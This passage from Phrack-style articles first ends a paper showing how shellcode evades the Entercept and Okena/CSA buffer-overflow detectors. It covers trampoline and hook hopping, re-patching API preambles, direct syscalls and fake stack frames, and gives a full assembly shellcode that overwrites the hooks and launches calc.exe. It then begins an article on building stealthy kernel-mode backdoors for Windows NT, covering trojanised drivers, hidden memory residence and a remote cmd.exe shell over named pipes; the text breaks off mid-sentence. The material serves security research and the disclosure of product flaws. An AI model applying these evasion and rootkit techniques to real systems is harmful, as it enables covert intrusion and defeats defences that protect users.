and ANSI versions of a function. An attacker can simply call the ntdll.dll directly and completely bypass all the kernel32.dll "checkpoints" established by a buffer overflow detector. For example, NAI Entercept tries to detect shellcode calling GetProcAddress() in kernel32.dll. However, the shellcode can be rewritten to call LdrGetProcedureAddress() in ntdll.dll, which will accomplish the same goal, and at the same time never pass through the NAI Entercept hook. Similarly, shellcode can completely bypass userland hooks altogether and make system calls directly (see section 4.5). --------[ 4.1.3 - Not Hooking Thoroughly Enough The interactions between the various different Win32 API functions is byzantine, complex and difficult to understand. A vendor must make only one mistake in order to create a window of opportunity for an attacker. For example, Okena/CSA and NAI Entercept both hook WinExec trying to prevent attacker's shellcode from spawning a process. The call path for WinExec looks like this: WinExec() --> CreateProcessA() --> CreateProcessInternalA() Okena/CSA and NAI Entercept hook both WinExec() and CreateProcessA() (see Appendix A and B). However, neither product hooks CreateProcessInternalA() (exported by kernel32.dll). When writing a shellcode, an attacker could find the export for CreateProcessInternalA() and use it instead of calling WinExec(). CreateProcessA() pushes two NULLs onto the stack before calling CreateProcessInternalA(). Thus a shellcode only needs to push two NULLs and then call CreateProcessInternalA() directly to evade the userland API hooks of both products. As new DLLs and APIs are released, the complexity of Win32 API internal interactions increases, making the problem worse. Third party product vendors are at a severe disadvantage when implementing their buffer overflow detection technologies and are bound to make mistakes which can be exploited by attackers. ----[ 4.2 - Fun With Trampolines Most Win32 API functions begin with a five byte preamble. First, EBP is pushed onto the stack, then ESP is moved into EBP. [-----------------------------------------------------------] Code Bytes Assembly 55 push ebp 8bec mov ebp, esp [-----------------------------------------------------------] Both Okena/CSA and Entercept use inline function hooking. They overwrite the first 5 bytes of a function with an immediate unconditional jump or call. For example, this is what the first few bytes of WinExec() look like after NAI Entercept's hooks have been installed: [-----------------------------------------------------------] Code Bytes Assembly e8 xx xx xx xx call xxxxxxxx 54 push esp 53 push ebx 56 push esi 57 push edi [-----------------------------------------------------------] Alternatively, the first few bytes could be overwritten with a jump instruction: [-----------------------------------------------------------] Code Bytes Assembly e9 xx xx xx xx jmp xxxxxxxx ... [-----------------------------------------------------------] Obviously, it is easy for shellcode to test for these and other signatures before calling a function. If a hijacking mechanism is detected, the shellcode can use several different techniques to bypass the hook. ------[ 4.2.1 - Patch Table Jumping When an API is hooked, the original preamble is saved into a table so that the buffer overflow detector can recreate the original API after performing its validation checks. The preamble is stored in a patch table, which resides somewhere in the address space of an application. When shellcode detects the presence of an API hook, it can simply search for the patch table and make its calls to patch table entries. This completely avoids the hook, preventing the userland buffer overflow detector components from ever being in the attacker's call path. ------[ 4.2.2 - Hook Hopping Alternatively, instead of locating the patch table, shellcode can include its own copy of the original pre-hook preamble. After executing its own API preamble, the shellcode can transfer execution to immediately after the API hook (function address plus five bytes). Since Intel x86 has variable length instructions, one must take this into account in order to land on an even instruction boundary: [-----------------------------------------------------------] Shellcode: call WinExecPreamble WinExecPreamble: push ebp mov ebp, esp sub esp, 54 jmp WinExec+6 [-----------------------------------------------------------] This technique will not work if another function within the call path is also hooked. In this case, Entercept also hooks CreateProcessA(), which WinExec() calls. Thus, to evade detection shellcode should call CreateProcessA() using the stored copy of CreateProcessA's preamble. ----[ 4.3 - Repatching Win32 APIs Thoroughly hooking Win32 APIs is not effective when certain fundamental errors are made in the implementation of a userland buffer overflow detection component. Certain implementations (NAI Entercept) have a serious problem with the way they perform their API hooking. In order to be able to overwrite preambles of hooked functions, the code section for a DLL has to be made writable. Entercept marks code sections of kernel32.dll and ntdll.dll as writable in order to be able to modify their contents. However, Entercept never resets the writable bit! Due to this serious security flaw, it is possible for an attacker to overwrite the API hook by re-injecting the original preamble code. For the WinExec() and CreateProcessA() examples, this would require overwriting the first 6 bytes (just to be instruction aligned) of WinExec() and CreateProcessA() with the original preamble. [-----------------------------------------------------------] WinExecOverWrite: Code Bytes Assembly 55 push ebp 8bec mov ebp, esp 83ec54 sub esp, 54 CreateProcessAOverWrite: Code Bytes Assembly 55 push ebp 8bec mov ebp, esp ff752c push DWORD PTR [ebp+2c] [-----------------------------------------------------------] This technique will not work against properly implemented buffer overflow detectors, however it is very effective against NAI Entercept. A complete shellcode example which overwrites the NAI Entercept hooks is presented below: [-----------------------------------------------------------] // This sample code overwrites the preamble of WinExec and // CreateProcessA to avoid detection. The code then // calls WinExec with a "calc.exe" parameter. // The code demonstrates that by overwriting function // preambles, it is able to evade Entercept and Okena/CSA // buffer overflow protection. _asm { pusha jmp JUMPSTART START: pop ebp xor eax, eax mov al, 0x30 mov eax, fs:[eax]; mov eax, [eax+0xc]; // We now have the module_item for ntdll.dll mov eax, [eax+0x1c] // We now have the module_item for kernel32.dll mov eax, [eax] // Image base of kernel32.dll mov eax, [eax+0x8] movzx ebx, word ptr [eax+3ch] // pe.oheader.directorydata[EXPORT=0] mov esi, [eax+ebx+78h] lea esi, [eax+esi+18h] // EBX now has the base module address mov ebx, eax lodsd // ECX now has the number of function names mov ecx, eax lodsd add eax,ebx // EDX has addresses of functions mov edx,eax lodsd // EAX has address of names add eax,ebx // Save off the number of named functions // for later push ecx // Save off the address of the functions push edx RESETEXPORTNAMETABLE: xor edx, edx INITSTRINGTABLE: mov esi, ebp // Beginning of string table inc esi MOVETHROUGHTABLE: mov edi, [eax+edx*4] add edi, ebx // EBX has the process base address xor ecx, ecx mov cl, BYTE PTR [ebp] test cl, cl jz DONESTRINGSEARCH STRINGSEARCH: // ESI points to the function string table repe cmpsb je Found // The number of named functions is on the stack cmp [esp+4], edx je NOTFOUND inc edx jmp INITSTRINGTABLE Found: pop ecx shl edx, 2 add edx, ecx mov edi, [edx] add edi, ebx push edi push ecx xor ecx, ecx mov cl, BYTE PTR [ebp] inc ecx add ebp, ecx jmp RESETEXPORTNAMETABLE DONESTRINGSEARCH: OverWriteCreateProcessA: pop edi pop edi push 0x06 pop ecx inc esi rep movsb OverWriteWinExec: pop edi push edi push 0x06 pop ecx inc esi rep movsb CallWinExec: push 0x03 push esi call [esp+8] NOTFOUND: pop edx STRINGEXIT: pop ecx popa; jmp EXIT JUMPSTART: add esp, 0x1000 call START WINEXEC: _emit 0x07 _emit 'W' _emit 'i' _emit 'n' _emit 'E' _emit 'x' _emit 'e' _emit 'c' CREATEPROCESSA: _emit 0x0e _emit 'C' _emit 'r' _emit 'e' _emit 'a' _emit 't' _emit 'e' _emit 'P' _emit 'r' _emit 'o' _emit 'c' _emit 'e' _emit 's' _emit 's' _emit 'A' ENDOFTABLE: _emit 0x00 WinExecOverWrite: _emit 0x06 _emit 0x55 _emit 0x8b _emit 0xec _emit 0x83 _emit 0xec _emit 0x54 CreateProcessAOverWrite: _emit 0x06 _emit 0x55 _emit 0x8b _emit 0xec _emit 0xff _emit 0x75 _emit 0x2c COMMAND: _emit 'c' _emit 'a' _emit 'l' _emit 'c' _emit '.' _emit 'e' _emit 'x' _emit 'e' _emit 0x00 EXIT: _emit 0x90 // Normally call ExitThread or something here _emit 0x90 } [-----------------------------------------------------------] ----[ 4.4 - Attacking Userland Components While evading the hooks and techniques used by userland buffer overflow detector components is effective, there exist other mechanisms of bypassing the detection. Because both the shellcode and the buffer overflow detector are executing with the same privileges and in the same address space, it is possible for shellcode to directly attack the buffer overflow detector userland component. Essentially, when attacking the buffer overflow detector userland component the attacker is attempting to subvert the mechanism used to perform the shellcode detection check. There are only two principle techniques for shellcode validation checking. Either the data used for the check is determined dynamically during each hooked API call, or the data is gathered at process start up and then checked during each call. In either case, it is possible for an attacker to subvert the process. ------[ 4.4.1 - IAT Patching Rather than implementing their own versions of memory page information functions, the commercial buffer overflow protection products simply use the operating system APIs. In Windows NT, these are implemented in ntdll.dll. These APIs will be imported into the userland component (itself a DLL) via its PE Import Table. An attacker can patch vectors within the import table to alter the location of an API to a function supplied by the shellcode. By supplying the function used to do the validation checking by the buffer overflow detector, it is trivial for an attacker to evade detection. ------[ 4.4.2 - Data Section Patching For various reasons, a buffer overflow detector might use a pre-built list of page permissions within the address space. When this is the case, altering the address of the VirtualQuery() API is not effective. To subvert the buffer overflow detector, the shellcode has to locate and modify the data table used by the return address validation routines. This is a fairly straightforward, although application specific, technique for subverting buffer overflow prevention technologies. ----[ 4.5 - Calling Syscalls Directly As mentioned above, rather than using ntdll.dll APIs to make system calls, it is possible for an attacker to create shellcode which makes system call directly. While this technique is very effective against userland components, it obviously cannot be used to bypass kernel based buffer overflow detectors. To take advantage of this technique you must understand what parameters a kernel function uses. These may not always be the same as the parameters required by the kernel32 or ntdll API versions. Also, you must know the system call number of the function in question. You can find this dynamically using a technique similar to the one to find function addresses. Once you have the address of the ntdll.dll version of the function you want to call, index into the function one byte and read the following DWORD. This is the system call number in the system call table for the function. This is a common trick used by rootkit developers. Here is the pseudo code for calling NtReadFile system call directly: ... xor eax, eax // Optional Key push eax // Optional pointer to large integer with the file offset push eax push Length_of_Buffer push Address_of_Buffer // Before call make room for two DWORDs called the IoStatusBlock push Address_of_IoStatusBlock // Optional ApcContext push eax // Optional ApcRoutine push eax // Optional Event push eax // Required file handle push hFile // EAX must contain the system call number mov eax, Found_Sys_Call_Num // EDX needs the address of the userland stack lea edx, [esp] // Trap into the kernel // (recent Windows NT versions use "sysenter" instead) int 2e ----[ 4.6 - Faking Stack Frames As described in section 3.2, kernel based stack backtracing can be bypassed using fake frames. Same techniques works against userland based detectors. To bypass both userland and kernel backtracing, shellcode can create a fake stack frame without the ebp register on stack. Since stack backtracing relies on the presence of the ebp register to find the next stack frame, fake frames can stop backtracing code from tracing past the fake frame. Of course, generating a fake stack frame is not going to work when the EIP register still points to shellcode which resides in a writable memory segment. To bypass the protection code, shellcode needs to use an address that lies in a non-writable memory segment. This presents a problem since shellcode needs a way to eventually regain control of the execution. The trick to regaining control is to proxy the return to shellcode through a "ret" instruction which resides in a non-writable memory segment. "ret" instruction can be found dynamically by searching memory for a 0xC3 opcode. Here is an illustration of a normal LoadLibrary("kernel32.dll") call that originates from a writable memory segment: push kernel32_string call LoadLibrary return_eip: . . . LoadLibrary: ; * see below for a stack illustration . . . ret ; return to stack-based return_eip |------------------------------| | address of "kernel32.dll" str| |------------------------------| | return address (return_eip) | |------------------------------| As explained before, the buffer overflow protection code executes before LoadLibrary gets to run. Since the return address (return_eip) is in a writable memory segment, the protection code logs the overflow and terminates the process. Next example illustrates 'proxy through a "ret" instruction' technique: push return_eip push kernel32_string ; fake "call LoadLibrary" call push address_of_ret_instruction jmp LoadLibrary return_eip: . . . LoadLibrary: ; * see below for a stack illustration . . . ret ; return to non stack-based address_of_ret_instruction address_of_ret_instruction: . . . ret ; return to stack-based return_eip Once again, the buffer overflow protection code executes before LoadLibrary gets to run. This time though, the stack is setup with a return address pointing to a non-writable memory segment. In addition, the ebp register is not present on stack thus the protection code cannot perform stack backtracing and determine that the return address in the next stack frame points to a writable segment. This allows the shellcode to call LoadLibrary which returns to the "ret" instruction. In its turn, the "ret" instruction pops the next return address off stack (return_eip) and transfers control to it. |------------------------------| | return address (return_eip) | |------------------------------| | address of "kernel32.dll" str| |------------------------------| | address of "ret" instruction | |------------------------------| In addition, any number of arbitrary complex fake stack frames can be setup to further confuse the protection code. Here is an example of a fake frame that uses a "ret 8" instruction instead of simple "ret": |--------------------------------| | return address | |--------------------------------| | address of "ret" instruction | <- fake frame 2 |--------------------------------| | any value | |--------------------------------| | address of "kernel32.dll" str | |--------------------------------| | address of "ret 8" instruction | <- fake frame 1 |--------------------------------| This causes an extra 32-bit value to be removed from stack, complicating any kind of analysis even further. --[ 5 - Conclusions The majority of commercial security systems do not actually prevent buffer overflows but rather detect the execution of shellcode. The most common technology used to detect shellcode is code page permission checking which relies on stack backtracing. Stack backtracing involves traversing stack frames and verifying that the return addresses do not originate from writable memory segments such as stack or heap areas. The paper presents a number of different ways to bypass both userland and kernel based stack backtracing. These range from tampering with function preambles to creating fake stack frames. In conclusion, the majority of current buffer overflow protection implementations are flawed, providing a false sense of security and little real protection against determined attackers. Appendix A: Entercept 4.1 Hooks Entercept hooks a number of functions in userland and in the kernel. Here is a list of the currently hooked functions as of Entercept 4.1. User Land msvcrt.dll _creat _read _write system kernel32.dll CreatePipe CreateProcessA GetProcAddress GetStartupInfoA LoadLibraryA PeekNamedPipe ReadFile VirtualProtect VirtualProtectEx WinExec WriteFile advapi32.dll RegOpenKeyA rpcrt4.dll NdrServerInitializeMarshall user32.dll ExitWindowsEx ws2_32.dll WPUCompleteOverlappedRequest WSAAddressToStringA WSACancelAsyncRequest WSACloseEvent WSAConnect WSACreateEvent WSADuplicateSocketA WSAEnumNetworkEvents WSAEventSelect WSAGetServiceClassInfoA WSCInstallNameSpace wininet.dll InternetSecurityProtocolToStringW InternetSetCookieA InternetSetOptionExA lsasrv.dll LsarLookupNames LsarLookupSids2 msv1_0.dll Msv1_0ExportSubAuthenticationRoutine Msv1_0SubAuthenticationPresent Kernel NtConnectPort NtCreateProcess NtCreateThread NtCreateToken NtCreateKey NtDeleteKey NtDeleteValueKey NtEnumerateKey NtEnumerateValueKey NtLoadKey NtLoadKey2 NtQueryKey NtQueryMultipleValueKey NtQueryValueKey NtReplaceKey NtRestoreKey NtSetValueKey NtMakeTemporaryObject NtSetContextThread NtSetInformationProcess NtSetSecurityObject NtTerminateProcess Appendix B: Okena/Cisco CSA 3.2 Hooks Okena/CSA hooks many functions in userland but many less in the kernel. A lot of the userland hooks are the same ones that Entercept hooks. However, almost all of the functions Okena/CSA hooks in the kernel are related to altering keys in the Windows registry. Okena/CSA does not seem as concerned as Entercept about backtracing calls in the kernel. This leads to an interesting vulnerability, left as an exercise to the reader. User Land kernel32.dll CreateProcessA CreateProcessW CreateRemoteThread CreateThread FreeLibrary LoadLibraryA LoadLibraryExA LoadLibraryExW LoadLibraryW LoadModule OpenProcess VirtualProtect VirtualProtectEx WinExec WriteProcessMemory ole32.dll CoFileTimeToDosDateTime CoGetMalloc CoGetStandardMarshal CoGetState CoResumeClassObjects CreateObjrefMoniker CreateStreamOnHGlobal DllGetClassObject StgSetTimes StringFromCLSID oleaut32.dll LPSAFEARRAY_UserUnmarshal urlmon.dll CoInstall Kernel NtCreateKey NtOpenKey NtDeleteKey NtDeleteValueKey NtSetValueKey NtOpenProcess NtWriteVirtualMemory |=[ EOF ]=---------------------------------------------------------------=| ==Phrack Inc.== Volume 0x0b, Issue 0x3e, Phile #0x06 of 0x10 |=---------------=[ Kernel-mode backdoors for Windows NT ]=--------------=| |=-----------------------------------------------------------------------=| |=-----------------=[ firew0rker ]=----------------=| |=----------------=[ the nobodies ]=---------------=| --[ Table of contents 1 - PREFACE 2 - OVERVIEW OF EXISTING KERNEL-MODE BACKDOORS FOR WINDOWS NT 2.1 - NTROOTKIT 2.2 - HE4HOOK 2.3 - SLANRET (IERK, BACKDOOR-ALI) 3 - OBSCURITY ON DISK, IN REGISTRY AND IN MEMORY 4 - MY VARIANT: THORNY PATH 4.1 - SHELL 4.2 - ACTIVATION AND COMMUNICATION WITH REMOTE CLIENT 4.3 - OBSCURITY ON DISK 5 - CONCLUSION 6 - EPILOGUE 7 - LIST OF USED SOURCES 8 - FILES --[ 1 - Preface This article is intended for those who know the architecture of the Windows NT kernel and the principles of operation of NT drivers. This article examines issues involved in the development of kernel-mode tools for stealthy remote administration of Windows NT. Recently there has been a tendency of extending the use of Windows NT (2000, XP, 2003) from it's classical stronghold as home and office OS to servers. At the same time, the outdated Windows 9x family is replaced by the NT family. Because of this it should be evident that remote administration tools (backdoors) and unnoticeable access tools (rootkits) for the NT family have a certain value. Most of the published utilities work in user-mode and can thus be detected by Antivirus tools or by manual inspection. It's quite another matter those works in kernel-mode: They can hide from any user-mode program. Antivirus software will have to suplly kernel- mode components in order to detect a kernel-mode-backdoor. Software exists that protects against such backdoors (such as IPD, "Integrity Protection Driver"), but it's use is not widely spread. Kernel mode backdoors are not as widely used as they could be due to their relative complexity in comp- arison with user-mode backdoors. --[ 2 - Overview of existing Kernel-Mode backdoors for Windows NT This section briefly reviews existing kernel-mode backdoors for Windows NT. ----[ 2.1 - Ntrootkit Ntrootkit (c) by Greg Hoglund and a team of free developers [1] is a device driver for Windows NT 4.0 and 2000. It's possibilities (implemented and potential): - Receiving commands from a remote client. The rk_packet module contains a simplified IP-stack, which uses free IP-address from the subnet where the host on which Ntrootkit has been installed is situated. It's MAC and IP addresses are hardcoded in the source. Connection with the rootkit at that IP is carried out via a TCP connection to any port. The available commands in rk_command.c are: ps - list processes help - self explainatory buffertest, echo and debugint - for debugging purpose hidedir - hide directory/file hideproc - hide process(es) sniffkeys - keyboard spy There are also imcomplete pieces of code: Execute commands received via a covert channel and starting a Win32-process from a driver (a hard and complicated task). - Encrypt all traffic using Schneier's Blowfish algorithm: rk_blowfish.c is present, but not (yet ?) used - Self-defense (rk_defense.c) - hide protected objects (in this case: registry keys), identified by the string "_root_"; redirect launched processes. The hiding of processes, directories and files as implemented in rk_ioman.c is done through hooking the following functions: NtCreateFile ZwOpenFile ZwQueryDirectoryFile ZwOpenKey ZwQueryKey ZwQueryValueKey ZwEnumerateValueKey ZwEnumerateKey ZwSetValueKey ZwCreateKey The way to detect this rootkit: Make direct request to filesystem driver, send IRP to it. There is one more module that hooks file handling: rk_files.c, adopted from filemon, but it is not used. - Starting processes: An unfinished implementation of it can be found in rk_command.c, another one (which is almost complete and good) is in rk_exec.c The implementation suffers from the fact that Zw* functions which are normally unavailable to drivers directly are called through the system call interface (int 0x2E), leading to problems with different versions of the NT family as system call numbers change. It seems like the work on Ntrootkit is very loosely coordinated: every developer does what (s)he considers needed or urgent. Ntrootkit does not achieve complete (or sufficient) invisibility. It creates device named "Ntroot", visible from User-Mode. When using Ntrootkit for anything practical, one will need some means of interaction with the rootkitted system. Shortly: There will be the need for some sort of shell. Ntrootkit itself can not give out a shell directly, although it can start a process -- the downside is that the I/O of that process can not be redirected. One is thus forced to start something like netcat. It's process can be hidden, but it's TCP-connection will be visible. The missing redirection of I/O is a big drawback. However, Ntrootkit development is still in progress, and it will probably become a fully-functional tool for complete and stealthy remote administration. ----[ 2.2 - He4Hook This description is based on [2]. The filesystem access was hooked via two different methods in the versions up to and including 2.15b6. Only one of it works at one time, and in versions after 2.15b6 the first method was removed. Method A: hook kernel syscalls: =============================== ZwCreateFile, ZwOpenFile - driver version 1.12 and from 1.17 to 2.15beta6 IoCreateFile - from 1.13 to 2.15beta6 ZwQueryDirectoryFile, ZwClose - before 2.15beta6 Almost all these exported functions (Zw*) have the following function body: mov eax, NumberFunction lea edx, [esp+04h] int 2eh ; Syscall interface The "NumberFunction" is the number of the called function in the syscalls table (which itself can be accessed via the global variable KeServiceDescriptorTable). This variable points to following structure: typedef struct SystemServiceDescriptorTable { SSD SystemServiceDescriptors[4]; } SSDT, *LPSSDT; Other structures: typedef VOID *SSTAT[]; typedef unsigned char SSTPT[]; typedef SSTAT *LPSSTAT; typedef SSTPT *LPSSTPT; typedef struct SystemServiceDescriptor { LPSSTAT lpSystemServiceTableAddressTable; ULONG dwFirstServiceIndex; ULONG dwSystemServiceTableNumEntries; LPSSTPT lpSystemServiceTableParameterTable; } SSD, *LPSSD; The DescriptorTable pointed to by KeServiceDescriptorTable is only accessible from kernel mode. In User-Mode, there is something called KeServiceDescriptorTableShadow -- unfortunately it is not exported. Base services are in KeServiceDescriptorTable->SystemServiceDescriptors[0] KeServiceDescriptorTableShadow->SystemServiceDescriptors[0] KernelMode GUI services are in KeServiceDescriptorTableShadow->SystemServiceDescriptors[1] Other elements of that tables were free at moment when [2] was written, in all versions up to WinNt4(SP3-6) and Win2k build 2195. Each element of the table is a SSID structure, which contains the following data: lpSystemServiceTableAddressTable - A pointer to an array of addresses of functions that will be called if a matching syscall is called dwFirstServiceIndex - Start index for the first function dwSystemServiceTableNumEntries - Number of services in table lpSystemServiceTableParameterTable - An array of bytes specifying the number of bytes from the stack that will be passed through In order to hook a system call, He4HookInv replaces the address stored in KeServiceDescriptorTable->SystemServiceDescriptos[0].lpSystemServiceTableAddressTableIn with a pointer to it's own table. One can interface with He4HookInv by adding your own services to the system call tables. He4HookInv updates both tables: - KeServiceDescriptorTable - KeServiceDescriptorTableShadow. Otherwise, if it updated only KeServiceDescriptorTable, new services would be unavailable from UserMode. To locate KeServiceDescriptorTable- Shadow the following technique is used: The function KeAddSystemServiceTable can be used to add services to the kernel. It can add services to both tables. Taking into account that its 0-th descriptor is identical, it's possible, by scanning KeAddSystemServiceTable function's code, to find the address of the shadow table. You can see how it is done in file He4HookInv.c, function FindShadowTable(void). If this method fails for some reason, a hardcoded address is taken (KeServiceDescriptorTable-0x230) as location of the shadow table. This address has not changed since WinNT Sp3. Another problem is the search for the correct index into the function address array. As almost all Zw* functions have an identical first instruction (mov eax, NumberFunction), one can get a pointer to the function number easily by adding one byte to the address exported by ntoskrnl.exe Method B: (for driver versions 2.11 and higher) =============================================== The callback tables located in the DRIVER_OBJECT of the file system drivers are patched: The IRP handlers of the needed drivers are replaced. This includes replacing the pointers to base function handlers (DRIVER_OBJECT->MajorFunction) as well as replacing pointers to the drivers unload procedure (DRIVER_OBJECT->DriverUnload). The following functions are handled: IRP_MJ_CREATE IRP_MJ_CREATE_NAMED_PIPE IRP_MJ_CREATE_MAILSLOT IRP_MJ_DIRECTORY_CONTROL -> IRP_MN_QUERY_DIRECTORY For a more detailed description of the redirection of file operations refer to the source [2]. ----[ 2.3 - Slanret (IERK, Backdoor-ALI) The source code for this is unavailable -- it was originally disco- vered by some administrator on his network. It is a normal driver ("ierk8243.sys") which periodically causes BSODs, and is visible as a service called "Virtual Memory Manager". "Slanret is technically just one component of a root kit. It comes with a straightforward backdoor program: a 27 kilobyte server called "Krei" that listens on an open port and grants the hacker remote access to the system. The Slanret component is a seven kilobyte cloaking routine that burrows into the system as a device driver, then accepts commands from the server instructing it on what files or processes to conceal." [3] ----[ 3. Stealth on disk, in registry and in memory The lower the I/O interception in a rootkit is performed, the harder it usually is to detect it's presence. One would think that a reliable place for interception would be the low-level disk operations (read/write sectors). This would require handling all filesystems that might be on the hard disk though: FAT16, FAT32, NTFS. While FAT was relatively easy to deal with (and some old DOS stealth viruses used similar techniques) an implementation of something similar on WinNT is a task for maniacs. A second place to hook would be hooking dispatch functions of file- system drivers: Patch DriverObject->MajorFunction and FastIoDispatch in memory or patch the drivers on disk. This has the advantage of being re- latively universal and is the method used in HE4HookInv. A third possibility is setting a filter on a filesyste driver (FSD). This has no advantages in comparison with the previous method, but has the drawback of being more visible (Filemon uses this approach). The functions Zw*, Io* can then be hooked either by manipulating the Ke- ServiceDescriptorTable or directly patching the function body. It is usually quite easy to detect that pointers in KeServiceDescriptorTable point to strange locations or that the function body of a function has changed. A filter driver is also easy to detect by calling IoGetDevice- ObjectPointer and then checking DEVICE_OBJECT->StackSize. All normal drivers have their own keys in the registry, namely in HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services. The abovementioned rootkits can hide registry keys, but obviously, if the system is booted "cleanly", an administrator can see anything that was hidden. One can also load a rootkit using ZwSetSystemInformation( SystemLoadAndCallimage) without the need to create any registry keys. An example of this technique can be found in [6]. A rootkit loader in a separate file is too unstealthy. It might be a smarter move to patch that call into some executable file which is part of the system boot. One can use any driver or user-mode program that works with sufficient privileges, or any DLL linked to by it. One has to ask one question though: If the newly introduced changes need to be hidden anyway, why make two similar but differing procedures (for hiding changes to a file as well as hiding the existance of a file) instead of limiting our- selves to one ? In most cases one can target null.sys. Implementing it's functionality is as easy as "hello world", and that is why it is usually replaced with a trojan. But if we are going to have a procedure for hiding changes to a file, we can replace ANY driver with a trojan that will substitute the content of the replaced file with the original content to everyone (incl- uding the kernel). Upon startup, it will copy itself to some allocated memory area and start a thread there. This will make the trojan almost unnoticeable in memory: No system utility can see the driver any more, as it is just an anonymous memory page amongst many. We do not even need a thread, using intercepted IRP dispatch functions of some driver (DriverObject->MajorFunction[IRP_MJ_xxx]). We can also use IoQueueWorkItem and KeInsertQueueDpc, so no additional threads in SYSTEM will be visible in the task manager. After this is done the trojan can unload the driver it was started from, and reload it in a clean (unchanged) variant. As a result, high levels of stealth will be achieved by relatively simple means. The original content of the manipu- lated file could for example be stored in the trojan's file after the trojan itself. It will then be sufficient to hook all FSD requests (IRP and FastIO) and upon access change the position (and size of the file). (CurrentIrpStackLocation->Parameters.*.ByteOffset) --[ 4 - My variant: The thorny path ----[ 4.1 - Shell I originally intended to do something similarily simple as standard user-mode code: Just pass a socket handle for stdin/stdout/stderr to the newly created cmd.exe process. I did not find a way to open a useful socket from a driver though, as the interface with the AFD driver (kmode core of winsock) is undocumented. Reverse-engineering it's usage was not an option either as due to changes between versions my technique would be unreliable. I had to find a different way. First variant ============= We could start our code in the context of some process, using a shell- code quite similar to that used in exploits. The code could wait for a TCP connection and start cmd.exe with redirected I/O. I chose this way when I tired of trying to start a full-fledged win32 process from a driver. The shellcode is position-independent, searches for kernel32.dll in memory and loads the winsock library. All that needs to be done is injecting the shellcode into the address space of a process and pass control to the entry point of the shellcode. However, in the process of doing this the normal work of the process must not be interrupted, be- cause a failure in a critical system process will lead to a failure of the whole system. So we need to allocate memory, write shellcode there, and create a thread with EIP = entry point of the shellcode. Code to do this can be found in the attached file shell.cpp. Unfortunately, when CreateProcess is called from the thread started in this way it failed, most probably because something that CreateProcess relies upon was not initialized pro- poerly in the context of our thread. We thus need to call CreateProcess from a thread context which has everything that CreateProcess needs ini- tialized -- we're going to take a thread which belongs to the process we are intruding into (I used SetThreadContext for that). One needs to re- store the state of the thread prior to the interruption so it can contiue it's normal operation. So we need to: Save thread context via GetThreadContext, set the EIP to our context via SetThreadContext, wait for the code to complete, and then restore the original cont again. The rest is just a usual shellcode for Windows NT (full code in dummy4.asm). One unsolved problem remains: If the thread is in waiting state, it will not run until it wakes up. Using ZwAlertThread does not yield any re- sult if the thread is in a nonalertable wait state. Fortunately, the thread in services.exe worked without a problem -- this does not imply it will stay like this in the future though, so I continued my research: Second variant ============== Things are not as easy as [4] makes them sound. Creating a full- fledged win32-process requires it's registration in the CSRSS subsystem. This is accomplished by using CsrClientCallServer(), which receives all necessary information about the process (handles, TID, PID, flags). The functions calls ZwRequestWaitReplyPort, which receives a handle of a pre- viously opened port for connection with CSRSS. This port is not open in the SYSTEM process context. Opening it never succeeded (ZwConnectPort returned STATUS_PORT_CONNECTION_REFUSED). Play- ing with SECURITY_QUALITY_OF_SERVICE didn't help. While disassembling ntdll.dll I saw that ZwConnectPort calls were preceded by ZwCreateSection. But there was no time and no desire to play with sections. Here is the code that didn't work: VOID InformCsrss(HANDLE hProcess,HANDLE hThread,ULONG pid,ULONG tid) { CSRMSG csrmsg; HANDLE hCurProcess; HANDLE handleIndex; PVOID p; _asm int 3; UNICODE_STRING PortName; RtlInitUnicodeString(&PortName,L"\\Windows\\ApiPort"); static SECURITY_QUALITY_OF_SERVICE QoS = {sizeof(QoS), SecurityAnonymous, 0, 0}; /*static SECURITY_QUALITY_OF_SERVICE QoS = {0x77DC0260, (_SECURITY_IMPERSONATION_LEVEL)2, 0x120101, 0x10000};*/ DWORD ret=ZwConnectPort(&handleIndex,&PortName,&QoS,NULL, NULL,NULL,NULL,NULL); if (!ret) { RtlZeroMemory(&csrmsg,sizeof(CSRMSG)); csrmsg.ProcessInformation.hProcess=hProcess; csrmsg.ProcessInformation.hThread=hThread; csrmsg.ProcessInformation.dwProcessId=pid; csrmsg.ProcessInformation.dwThreadId=tid; csrmsg.PortMessage.MessageSize=0x4c; csrmsg.PortMessage.DataSize=0x34; csrmsg.CsrssMessage.Opcode=0x10000; ZwRequestWaitReplyPort(handleIndex,(PORT_MESSAGE*)&csrmsg, (PORT_MESSAGE*)&csrmsg); } } The solution to the problem was obvious; Switch context to one in which the port is open, e.g. to the context of any win32-process. I inser- ted KeAttachProcess(HelperProcess) before calling Nebbet's InformCsrss, and KeDetachProcess afterwards. The role of the HelperProcess was taken by calc.exe. When I tried using KeAttachProcess that way I failed though: The con- text was switched (visible using the proc command in SoftICE), but Csr- ClientCallServer returned STATUS_ILLEGAL_FUNCTION. Only Uncle Bill knows what was happening inside CSRSS. When trying to frame the whole process creation function into KeAttachProcess/KeDetachProcess led to the following error when calling ZwCreateProcess: "Break Due to KeBugCheckEx (Unhandled kernel mode exception) Error=5 (INVALID_PROCESS_ATTACH_ATTEMPT) ... ". A different way to execute my code in the context of an arbitrary process is APC. The APC may be kmode or user-mode. As long as only kmode APC may overcome nonalertable wait state, all code for process creation must be done in kernel mode. Nebbet's code normally works at IRQL == APC_LEVEL Code execution in the context of a given win32-process by means of APC is implemented in the StartShell() function, in file ShellAPC.cpp. Interaction with the process ============================= Starting a process isn't all. The Backdoor still needs to communicate with it: It is necessary to redirect it's stdin/stdout/stderr to our driver. We could do this like most "driver+app"-systems: Create a device that is visible from user-mode, open it using ZwOpenFile and pass the handle to the starting process (stdin/stdout/stderr). But a named device is not stealthy, even if we automatically create a random names. This is why I have chosen to use named pipes instead. Windows NT uses named pipes with names like Win32Pipes.%08x.%08x (here %08x is random 8-digit numbers) for emulation of anonymous pipes. If we create one more such pipe, nobody will notice. Usually, one uses 2 anon- ymous pipes r redirecting I/O of a console application in Win32, but when using a named pipe one will be sufficient as it is bi-directional. The driver must create a bi-directional named pipe, and cmd.exe must use it's handle as stdin/stdout/stderr. The handle can be opened in both kmode and user-mode. The final ver- sion uses the first variant, but I have also experimented with the second variant -- being able to implement different variants may help evade anti- viruses. Starting a process with redirected I/O has been completely imple- mented in kernel mode in the file NebbetCreateProcess.cpp. There are two main differences between my and Nebbet's code: The fun- ctions that are not exported from ntoskrnl.exe but from ntdll, are dyn- amically imported (see NtdllDynamicLoader.cpp). The handle to the named pipe is opened with ZwOpenFile() and passed to the starting process with ZwDuplicateObject with DUPLICATE_CLOSE_SOURCE flag. For opening the named pipe from user mode I inject code into a start- ing process. I attached the patch 